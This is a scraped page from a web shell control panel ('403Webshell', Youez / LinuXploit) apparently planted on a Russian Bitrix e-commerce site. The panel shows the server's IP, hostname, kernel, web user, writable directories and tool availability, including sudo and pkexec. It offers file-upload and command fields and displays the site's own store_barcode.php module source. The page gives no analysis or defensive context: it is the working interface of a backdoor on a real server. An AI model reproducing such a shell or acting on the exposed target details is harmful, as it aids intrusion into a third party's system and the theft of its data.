403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sale/general/store_barcode.php
<?php

IncludeModuleLangFile(__FILE__);

class CAllSaleStoreBarcode
{
	public static function CheckFields($ACTION, &$arFields, $ID = 0)
	{
		if (defined("SALE_DEBUG") && SALE_DEBUG)
			CSaleHelper::WriteToLog("CSaleStoreBarcode checking fields", array("ACTION" => $ACTION, "arFields" => $arFields), "SSBA1");

		if ((is_set($arFields, "BASKET_ID") || $ACTION=="ADD") && $arFields["BASKET_ID"] == '')
		{
			$GLOBALS["APPLICATION"]->ThrowException(GetMessage("SSB_EMPTY_BASKET_ID"), "BARCODE_ADD_EMPTY_BASKET_ID");
			return false;
		}

		if ((is_set($arFields, "BASKET_ID") || $ACTION=="ADD") && $arFields["BASKET_ID"] == '')
		{
			$GLOBALS["APPLICATION"]->ThrowException(GetMessage("SSB_EMPTY_STORE_ID"), "BARCODE_ADD_EMPTY_STORE_ID");
			return false;
		}
			
		if ((is_set($arFields, "QUANTITY") || $ACTION=="ADD") && $arFields["QUANTITY"] == '')
		{
			$GLOBALS["APPLICATION"]->ThrowException(GetMessage("SSB_EMPTY_QUANTITY"), "BARCODE_ADD_EMPTY_QUANTITY");
			return false;
		}

		return true;
	}

	public static function GetByID($ID)
	{
		global $DB;

		$ID = intval($ID);

		$strSql =
			"SELECT O.*, ".
			"	".$DB->DateToCharFunction("O.DATE_CREATE", "FULL")." as DATE_CREATE, ".
			"	".$DB->DateToCharFunction("O.DATE_MODIFY", "FULL")." as DATE_MODIFY ".
			"FROM b_sale_store_barcode O ".
			"WHERE O.ID = ".$ID."";
		$db_res = $DB->Query($strSql);

		if ($res = $db_res->Fetch())
		{
			return $res;
		}

		return False;
	}

	public static function Delete($ID)
	{
		global $DB;

		$ID = intval($ID);
		if ($ID <= 0)
			return False;

		return $DB->Query("DELETE FROM b_sale_store_barcode WHERE ID = ".$ID." ", true);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit